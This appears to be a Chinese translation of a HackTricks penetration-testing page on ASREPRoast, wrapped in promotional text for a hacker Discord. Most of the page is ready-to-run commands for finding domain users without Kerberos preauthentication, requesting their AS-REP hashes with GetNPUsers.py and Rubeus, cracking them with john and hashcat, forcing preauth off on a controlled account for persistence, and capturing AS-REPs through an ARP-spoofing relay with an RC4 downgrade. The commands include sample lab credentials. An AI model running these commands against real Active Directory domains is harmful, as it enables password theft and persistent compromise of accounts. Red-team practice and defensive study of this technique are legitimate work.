ASREPRoast

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

其他支持HackTricks的方式:

加入HackenProof Discord服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解 参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻 通过实时新闻和见解及时了解快节奏的黑客世界

最新公告 通过最新的漏洞赏金发布和重要平台更新保持信息更新

加入我们的 Discord 并开始与顶尖黑客合作!

ASREPRoast

ASREPRoast是一种安全攻击,利用缺乏Kerberos预身份验证所需属性的用户。基本上,这种漏洞允许攻击者向域控制器(DC)请求用户的身份验证,而无需知道用户的密码。然后,DC会用用户的密码派生密钥加密消息进行响应,攻击者可以尝试脱机破解以发现用户的密码。

这种攻击的主要要求包括:

  • 缺乏Kerberos预身份验证:目标用户必须未启用此安全功能。

  • 连接到域控制器(DC):攻击者需要访问DC以发送请求和接收加密消息。

  • 可选的域帐户:拥有域帐户可以使攻击者通过LDAP查询更有效地识别易受攻击的用户。如果没有这样的帐户,攻击者必须猜测用户名。

枚举易受攻击用户(需要域凭据)

使用Windows
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
使用Linux
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

请求 AS_REP 消息

使用 Linux
#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
使用Windows
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

使用Rubeus进行AS-REP Roasting将生成一个加密类型为0x17且预身份验证类型为0的4768。

破解

john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

持久性

对于具有GenericAll权限(或写入属性权限)的用户,强制preauth不是必需的:

使用Windows
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
使用Linux

```bash bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH ``` ## 无凭证的ASREProast

攻击者可以利用中间人位置捕获AS-REP数据包,而无需依赖Kerberos预身份验证被禁用。因此,它适用于VLAN上的所有用户。 ASRepCatcher使我们能够做到这一点。此外,该工具通过更改Kerberos协商来强制客户工作站使用RC4。

# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP

# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing

# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen

参考资料


加入 HackenProof Discord 服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解 参与深入探讨黑客行为的刺激和挑战的内容

实时黑客新闻 通过实时新闻和见解了解快节奏的黑客世界

最新公告 了解最新的赏金任务发布和重要平台更新

加入我们的 Discord 并开始与顶尖黑客合作!

从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持 HackTricks 的其他方式:

最后更新于